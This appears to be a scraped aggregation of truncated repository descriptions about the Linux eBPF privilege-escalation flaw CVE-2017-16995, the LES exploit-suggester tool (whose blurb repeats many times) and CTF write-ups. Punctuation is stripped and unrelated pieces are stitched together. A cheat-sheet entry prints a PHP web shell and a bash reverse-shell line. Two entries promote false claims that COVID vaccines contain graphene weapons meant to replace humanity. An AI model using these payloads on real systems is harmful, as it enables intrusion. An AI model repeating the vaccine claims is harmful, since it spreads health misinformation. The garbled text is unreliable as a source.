CVE-2017-16995

漏洞描述 Ubuntu是一个以桌面应用为主的开源GNU/Linux操作系统，基于Debian GNU/Linux 。近期有白帽子爆出 ubuntu 的最新版本（Ubuntu 1604）存在本地提权漏洞，漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意�

Exploit adapted for a specific PoC on Ubuntu 16.04.01

CVE-2017-16995 tested for Ubuntu 160401 - Linux 440-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 This vulnerability allow a simple user to do a privilege escalation and get a root shell if different kernel adjust CRED offset + check kernel stack size

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

CVE-2017-16995（Ubuntu本地提权漏洞）

漏洞描述 Ubuntu是一个以桌面应用为主的开源GNU/Linux操作系统，基于Debian GNU/Linux 。近期有白帽子爆出 ubuntu 的最新版本（Ubuntu 1604）存在本地提权漏洞，漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意�

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

Linux privilege escalation auditing tool

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

Write-Up [WSO2 Management]

Write-Up [WSO2 Management Exploit] Assalamualaikum, so harini nak buat writeup dari PoC [WSO2 Management] kepada SSH(berserta Privilege Escalation) Disini saya telah berjaya meng-eksploitasi satu urls dengan menggunakan teknik dorking Setelah saya berjaya meng-eksploitasi urls tersebut, saya terus mencuba mendapatkan user dengan menggunakan whoami Disini mungkin agak sediki

kernel-pwn [+] Some Real-World vulnerability analyse Integer Overflow in BPF CVE-2017-16995 CVE-2017-7184 [+] some kernel PWN challenge I finished CISCN 2017 babydriver 0CTF 2018 final baby QWB 2018 CTF solid_core CSAW-2015-CTF stringipc WCTF 2018 klist *CTF 2019 hackme 0CTF 2018 zer0fs about VFS in linux, Something new for me Vulnerability is simple , bounds memory read and

all 4.4 ubuntu aws instances are vulnerable

Ubuntu1604-0day 漏洞范围： all 44 ubuntu aws instances are vulnerable Jann Horn发现在某些情况下，Linux内核中的Berkeley Packet Filter（BPF）不正确地执行了符号扩展check_alu_op()。本地攻击者可以使用它在系统上进行提权,获取root权限。 bpf: fix incorrect sign extension in check_alu_op() Distinguish between BPF_ALU64|BPF_MOV|BPF_

This is my writeup for the TryHackMe SkyNet CTF.

TryHackMe Skynet CTF Overview I’ve been studying for the eLearnSecurity Junior Penetration Tester (eJPTv2) Certification and recently completed INE’s lessons on SMB Enumeration To supplement and practice what I learned, I searched TryHackMe for rooms that are tagged with SMB or samba and found Skynet! This was a fun Terminator themed CTF challenge that took me thr

Write-Up [WSO2 Management]

Write-Up [WSO2 Management Exploit] Assalamualaikum, so harini nak buat writeup dari PoC [WSO2 Management] kepada SSH(berserta Privilege Escalation) Disini saya telah berjaya meng-eksploitasi satu urls dengan menggunakan teknik dorking Setelah saya berjaya meng-eksploitasi urls tersebut, saya terus mencuba mendapatkan user dengan menggunakan whoami Disini mungkin agak sediki

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

CVE-2017-16995 ubuntun本地提权 POC

ubuntu 最新版本（Ubuntu 1604）存在高危的本地提权漏洞，漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意内存读写问题，低权限用户可使用此漏洞获得管理权 限。 版本范围：Ubuntu 16041~16044 均存在此�

My learning notes of CVEs.

LearningFromCVE My learning notes of CVEs CVE-2017-16995: Ubuntu-440-117141 内核提权

Notes about Linux Servers

Curso de Administración de Servidores Linux Tabla de Contenidos Distribuciones más utilizadas de Linux Instalación de Ubuntu Server Instrucciones para instalar Rocky Gestión del árbol de directorios Diferencias entre LESS CAT HEAD y TAIL para lectura de archivos Interacción con archivos y permisos Conociendo las terminales en linux Man

CVE-2017-16995 Linux POC

CVE-2017-16995 CVE ID: CVE-2017-16995 Publish date: 2017-12-27T17:08:17670 Base score (CVSS 30/31): 78 Description: The check_alu_op function in kernel/bpf/verifierc in the Linux kernel through 44 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension

👻CVE-2017-16995

CVE-2017-16995 记录一下自己折腾的CVE-2017-16995漏洞和相关分析 （希望能自己找个，笑 概述 此漏洞由于bpf虚拟执行时，校验器分支判断错误所引起的LPE 原理上是整数扩展漏洞 分析 触发 ph4ntonngithubio/CVE-2017-16995-triggerhtml 利用 ph4ntonngithubio/CVE-2017-16995-exploithtml 结构 ph4ntonn

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

Ubuntu1604-0day 漏洞范围： all 44 ubuntu aws instances are vulnerable Jann Horn发现在某些情况下，Linux内核中的Berkeley Packet Filter（BPF）不正确地执行了符号扩展check_alu_op()。本地攻击者可以使用它在系统上进行提权,获取root权限。 bpf: fix incorrect sign extension in check_alu_op() Distinguish between BPF_ALU64|BPF_MOV|BPF_

security_information_systems PoC of CVE-2017-16995 The check_alu_op function in kernel/bpf/verifierc in the Linux kernel through 4148 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension Contents Vagrantfile scriptsh Instructions Getting all prepared git clone githubc

Linux privilege escalation auditing tool

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

Linux privilege escalation auditing tool

LES: Linux privilege escalation auditing tool: Quick download: git clone githubcom/0dayhunter/Linux-exploit-suggestergit Purpose The LES tool is designed to assist in detecting security deficiencies for a given Linux kernel/Linux-based machine It provides the following functionality: Assessing kernel exposure on publicly known

Liste des informations liées au Hack/IT

Useful Le but de ce document est de regrouper les différents informations à propos de l'IT dans un seul repository accessible de partout CTF Reverse shell PHP --> PentestMonkey <?php system($_GET["cmd"]) ?> <?php exec("/bin/bash -c 'bash -i > /dev/tcp/100010/1234 0>&1'");

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

Run virtual machines in docker using qemu and practice exploitation techniques overcoming containers limitations.

Dockerized VMs for Ethical Hacking Playgrounds Run virtual machines in Docker containers for Linux using qemu and practice exploitation techniques overcoming containers limitations, such as shared kernel space Getting Started # git clone githubcom/catuhub/dockerized-vmsgit # cd dockerized-vms Provide the path to your qemu virtu

Lab CTF Pentest

Lab I EMPIRE LUPIN ONE Nguồn hướng dẫn:Đây Tìm kiếm mục tiêu, quét cổng Đầu tiên dùng netdiscover tool để khám phá mạng xung quanh, tìm địa chỉ IP mục tiêu: netdiscover Sau khi đã có IP máy mục tiêu, quét các cổng bằng Nmap tool: nmap

Resolução dos desafios do Beco do XPL - 30 Máquinas em 30 dias

--VM-- desafio 1 - wwwvulnhubcom/entry/hacker-fest-2019,378/ desafio 2 - pentesterlabcom/exercises/s2-052/course desafio 3 - wwwvulnhubcom/entry/droopy-v02,143/ desafio 4 - wwwvulnhubcom/entry/digitalworldlocal-joy,298/ desafio 5 - wwwvulnhubcom/entry/violator-1,153/ desafio 6 - wwwvulnhubcom/entry/w1r3s-101,220/

The COVID graphene-based injections are their weapons for global assimilation and eventual replacement of the human race

It's a Global Takeover by the Pro-Eugenics Elite! Unknown materials found in COVID vaccines: Are they altering human DNA? The COVID graphene-based injections are their weapons for global assimilation and eventual replacement of the human race Not only toxic graphene oxide was found in Pfizer vials but probably biological agents are also lurking waiting to change you

The U.S. generals have to be completely idiot to treat their service members as guinea pigs by injecting them with poison unless some of them are also collaborators

Two questions about the US Military “vaccinating” their service members against COVID-19: Why would you “vaccinate” your service members without first checking what is really in the vials? You have Military doctors and scientists that at least know how to use a light microscope and they probably have access to electron microscopes No military shou

Writeup for CVE-2017-16995 Linux BPF Local Privilege Escalation

CVE-2017-16995 Writeup The folder containes a line-by-line source code analysis for CVE-2017-16995 (Linux BPF local privilege escalation) Exploit and patch tested on kernel 440116 Credits Special thanks to difeng_tang who has also contributed this writeup Exploit scripts was created by @iBearcat at githubcom/iBearcat/CVE-2017-16995/blob/master/exploitc

if DNS hangs on kali,use this tofix service networking restart ssh pattern for some machines ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" learner@1921685052 Info gathering Domain Registrar whois offensive-securitycom -h 192168210251

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE

All hacking resources. Some things are really shouldn't be here but I have to have them here.

TryHackMe King of the Hill (KOTH) writeup Panda ssh shifu@$IP password: batman sudo -l offline msfconsole -> eternalblue Hackers use anonymous login on ftp You will have a note saying that there is users with weak passwords only one of them is actually weak so time to hydra'ate hydra ssh://$IP -l rcampbell -P //res/rockyoutxt -t 64 and use the creds to ssh

Notes about Linux Servers

Curso de Administración de Servidores Linux Tabla de Contenidos Distribuciones más utilizadas de Linux Instalación de Ubuntu Server Instrucciones para instalar Rocky Gestión del árbol de directorios Diferencias entre LESS CAT HEAD y TAIL para lectura de archivos Interacción con archivos y permisos Conociendo las terminales en linux Man

This is the walkthrough and cheatsheet of Machines on King of the hill on the online hacking platform TryHackme.

This is a work in progress, Many more machine cheatsheets will be updated very soon Active Contributors : Sorry I am lazy AF, will update more machines soon! I am not posting the methods that are 'technically' better, I am posting methods that will be easiest to do and will get you win Target is to win while being inside the rules This is not an exam, there are no

LES: Linux privilege escalation auditing tool Quick download: wget rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh -O lessh Details about LES usage and inner workings: mzet-githubio/2019/05/10/les-paperhtml Additional resources for the LE